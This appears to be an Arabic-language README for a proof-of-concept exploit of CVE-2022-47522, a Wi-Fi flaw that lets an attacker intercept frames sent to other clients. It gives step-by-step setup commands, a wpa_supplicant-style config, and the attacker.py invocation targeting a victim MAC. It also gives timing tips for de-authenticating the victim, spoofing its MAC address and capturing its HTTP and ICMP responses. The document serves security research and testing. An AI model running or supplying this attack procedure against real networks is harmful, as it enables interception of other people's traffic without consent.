
استغلال إثبات المفهوم لـ CVE-2022-47522 يوضح اعتراض إطارات Wi-Fi عبر هجوم إلغاء المصادقة وانتحال عنوان MAC لالتقاط استجابات HTTP وICMP.
هذه ثغرة تسمح باعتراض الإطارات المرسلة إلى عملاء عشوائيين على شبكة Wi-Fi.
للحصول على شرح مفصّل، انظر هنا.
ملاحظة: وصف MITRE غير دقيق؛ يُرجى الرجوع إلى الرابط أعلاه للحصول على التفاصيل الصحيحة.
يستند هذا المستودع إلى ذلك الرابط.
لبيئة اختبار واقعية، يعمل الضحية والمهاجم على جهازين منفصلين.
قد يكون من الممكن تشغيل كلٍّ من الضحية والمهاجم على جهاز واحد، ولكن هذا يتطلب ثلاث واجهات شبكة لاسلكية وتعديلات محتملة على الكود وطريقة التنفيذ.
شغّل الأوامر التالية (اختياريًا داخل بيئة python افتراضية venv):
pip install scapy==2.6.1 httpx==0.28.1
بدلاً من ذلك، يمكنك استخدام ping أو curl أو متصفح ويب بدلاً من victim.py.
شغّل الأوامر التالية:
cd macstealer/research
./build.sh
cd ../../attacker
./pysetup.sh
تأكد من أن الضحية متصل بالشبكة التي تريد اختبارها.
عدّل ملف ./attacker/attacker.conf ليطابق إعدادات الشبكة الخاصة باتصال الضحية.
إذا لم تكن متأكدًا، فاطّلع على كيفية إعداد wpa_supplicant.conf.
# attacker.conf
# Don't change this line, other MacStealer won't work
ctrl_interface=wpaspy_ctrl
network={
#Fill in properties of your network
key_mgmt=WPA-PSK
ssid="Your-SSID"
psk="Your-password"
}
تحتاج إلى إعداد NetworkManager لتجاهل الواجهتين:
أضف الأسطر التالية إلى /etc/NetworkManager/NetworkManager.conf:
[keyfile]
unmanaged-devices=interface-name:{iface};interface-name:{mon_iface}
طبّق التغييرات بتشغيل:
sudo systemctl restart NetworkManager
للتراجع، أزل الأسطر المضافة وأعد تشغيل NetworkManager مرة أخرى.
فعّل venv بصلاحيات الجذر (root) قبل التنفيذ:
cd attacker
sudo su
source venv/bin/activate
شغّل victim.py واتبع التعليمات لإدخال المعلومات المطلوبة (أو استخدم القيم الافتراضية).
ثم في كل مرة تضغط فيها Enter، سيتم إرسال طلب ICMP Echo وطلب HTTP GET.
شغّل الأمر التالي:
./attacker.py -i $iface -m $mon_iface -v $victimMAC
-i يحدد الواجهة المُدارة للمهاجم،
-m يحدد واجهة المراقبة للمهاجم،
-v يحدد عنوان MAC الخاص بالضحية.
على سبيل المثال:
./attacker.py -i wlan0 -m wlan1 -v a0:d3:65:2c:ed:71
بمجرد التشغيل، سيقوم السكربت تلقائيًا بإنشاء اتصال مسبق وتجهيز الهجوم.
عندما يكون الهجوم جاهزًا، سترى الرسالة التالية:
Press enter to start attack:
عند هذه النقطة، اضغط Enter على جهة الضحية أولًا لإرسال الطلب، ثم اضغط Enter على جهة المهاجم فورًا لبدء الهجوم.
لكي ينجح الهجوم، يجب تنفيذ الإجراءين بشكل شبه متزامن.
ومع ذلك، يجب على الضحية إرسال الطلب أولًا.
ملاحظة:
- كلما كانت مدد الاتصال أقصر، زاد معدل نجاح الهجوم.
- في اختباراتي، كان زمن الاتصال حوالي 200ms، ولكن في بعض الأحيان رفضت نقطة الوصول AP الاتصالات بشكل غير متوقع، مما أدى إلى فترات اتصال أطول.
- إذا حدث هذا، انتظر انتهاء المهلة أو أنهِ العملية باستخدامCtrl+Cوحاول مرة أخرى.
- كلما زادت الفجوة بين الاتصال المسبق وإعادة الاتصال، زادت احتمالية الفشل.
- اضغط Enter بأسرع ما يمكن لبدء الهجوم.
- إذا لم ينجح الهجوم حتى مع استقرار اتصال المهاجم، فجرّب تغيير الخادم الذي يطلبه الضحية إلى موقع أبعد.
نظرًا لأنني في كوريا، اخترت خادمًا في الأرجنتين، وهي واحدة من أبعد المناطق.

تحقق من اعتراض استجابات HTTP وICMP، وتأكد من عرض نص HTTP وحمولة ICMP بشكل صحيح.
التحضير
هجوم Deauth
الاعتراض